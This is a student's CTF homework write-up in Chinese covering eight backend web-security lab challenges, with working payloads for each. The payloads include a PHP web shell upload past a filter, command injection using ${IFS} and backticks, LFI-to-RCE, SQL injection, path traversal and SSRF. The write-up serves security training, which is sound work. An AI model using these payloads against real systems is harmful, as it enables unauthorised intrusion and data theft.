---
# System prepended metadata

title: ais3 junior 後端安全作業

---

:::success
**ais3 junior後端安全作業**
>[name=翁筠喬]
:::

[toc]

# 後端作業

## phpisbest

要讓他們strcmp=0可以傳array進去，雖然會報warning，但它還是會繼續運行，這樣他會是null，strcmp就會=0
![image](https://hackmd.io/_uploads/HkoW_fwdee.png)
歐但這樣他們的md5會不一樣，那就兩個都改成array，這樣就兩個的md5就一樣了
雖然會有warning但獲得flag了:D
![image](https://hackmd.io/_uploads/H13Suzwull.png)

flag:`NCKUCTF{php_15_7h3_8357_14n9u493}`

## uploader-waf

用burp打開這題，隨便選一個檔案上傳
打開HTTP history，選到/index.php，選send to Repeater
![image](https://hackmd.io/_uploads/SyXPUUDdxg.png)
把紅色的字改成`<?php system($_GET['cmd']);?>`，選send然後你就會再被擋一次:D
![image](https://hackmd.io/_uploads/r1FnIUv_xg.png)
去觀察source code，要把`Content-Type`改成`image/png`跟檔名不能是`.php`，但我們可以改大小寫
![image](https://hackmd.io/_uploads/ryolDIP_eg.png)
ok然後就顯示Sucessful了
![image](https://hackmd.io/_uploads/BkhdwUwdll.png)
在Response點右鍵選`show response in browser`將他給的連結貼到瀏覽器上
用`ls /` 查看目錄，找到`flag_NCA4jqt`
![image](https://hackmd.io/_uploads/BkXV_IPuxl.png)
用`cat /flag_NCA4jqt` 成功找到flag!
![image](https://hackmd.io/_uploads/r1S_dUw_xg.png)

flag:`NCKUCTF{w385h311_15_4_427_4nd_m491c}`


## pathwalker-waf

這題先看一下source code，他會確認一定要有`apple|banana|cappo`
![image](https://hackmd.io/_uploads/SyUvKIw_ex.png)
點到cappo他會告訴我們flag在`/var/www/html/flag.php`然後我們就可以用`../`來使資料夾回到上一層，不斷增加直到成功獲得flag

![image](https://hackmd.io/_uploads/SypNjQDuxx.png)

flag:`NCKUCTF{p47h_724v32541_h45_4107_721ck}`

## LFI2RCE
這題他的source code 寫到`include($_GET['page']);` 所以他會把我們傳到page的東西當php程式跑起來，這樣就有一個LFI漏洞
我們可以去[github](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT/blob/main/test.php)用別人寫好的模板來讓它變成RCE，在`resource=/etc/passwd`的後面加`&1=system('ls /');` 就可以列出根目錄有的檔案，可以看到有一個`flag_23fb1b3`
![image](https://hackmd.io/_uploads/HkuAOjDuxe.png)
然後就把system裡的命令改成`cat /flag_23fb1b3`就可以獲得flag了! (**system裡要有單引號還有最後記得要加;**)
![image](https://hackmd.io/_uploads/rJqSKoD_eg.png)

flag:`NCKUCTF{w385h311_15_4_427}`

## dig-waf2
這題先看他的黑名單有`blacklist = ['|', '&', ';', '>', '<', "\n", " ", 'flag']`
前後先加兩個單引號分別閉合前後兩個引號，然後用反引號(\`\`) 他包裹的內容會被當作獨立指令執行
我們可以在其中包裹`ls /`，但空白也不能使用，所以我們要用`${IFS}`來代替
可以看到有一個檔案叫`flag_o2837ry`
![image](https://hackmd.io/_uploads/ryR35iPOgx.png)
但我們不能打`flag`，所以可以直接用`*`選擇f開頭的檔案
所以最後的payload就會長這樣: '\`cat${IFS}/f*\`' ， 成功得到flag!
![image](https://hackmd.io/_uploads/HJ6dhiDugg.png)

flag:`NCKUCTF{d19_70015_15_m491c!}`



<!--
`
-->
## login
這題要以admin身分登入，但我們不知道密碼，點magic可以發現他會直接把我們輸入的帳號跟密碼放到sql語句中，是SQL injection!
![image](https://hackmd.io/_uploads/Hk13mmddxx.png)
ok所以我們可以輸入`admin`，然後在他的後面接`')`把引號跟括號閉合，最後用`--`把後面的password部分註解掉
密碼隨便輸入，按下Login就可以獲得flag了!
![image](https://hackmd.io/_uploads/SkXpS7O_xl.png)
![image](https://hackmd.io/_uploads/BkQ0HQOdgl.png)

flag:`NCKUCTF{SQL1nj3c710n_1s_S0_l33t}`


## sqli unoin
這題先用`UNION SELECT 1;--`來測試他的欄位有多少，逐漸往上加到3後正常了，所以她有三個欄位
![image](https://hackmd.io/_uploads/By8Xz4Ouxx.png)
他已經給我們table名稱跟column名稱了，所以我們可以把id的數字改成-1，讓他回傳是空的，然後三個欄位都填flag_value，讓它顯示flag :
```
?id=-1 UNION SELECT flag_value,flag_value,flag_value FROM flags ;--
```
輸入後就會獲得這題flag了!
![image](https://hackmd.io/_uploads/HJknGEuOee.png)

flag:`NCKUCTF{UNION_SELECT_FOO_FROM_BAR}`

## ssrf2
這題source code 有說要用[httpbin.dev](https://httpbin.dev/)
我們去網站找redirect，找到可以用`/redirect-to?url=foo`(302 Redirects to the foo URL.)
![image](https://hackmd.io/_uploads/BkIImrdulg.png)
在url後面接我們要去的內網網址:`http://127.0.0.1/internal-only`:
`http://httpbin.dev/redirect-to?url=http://127.0.0.1/internal-only` (**是http不能用https**)
按下按鈕成功獲得flag!
![image](https://hackmd.io/_uploads/S18gEBduxg.png)


flag:`NCKUCTF{y0u_4r3_r34lly_4_55rf_0p3n_r3d1r3c7_m4573r}`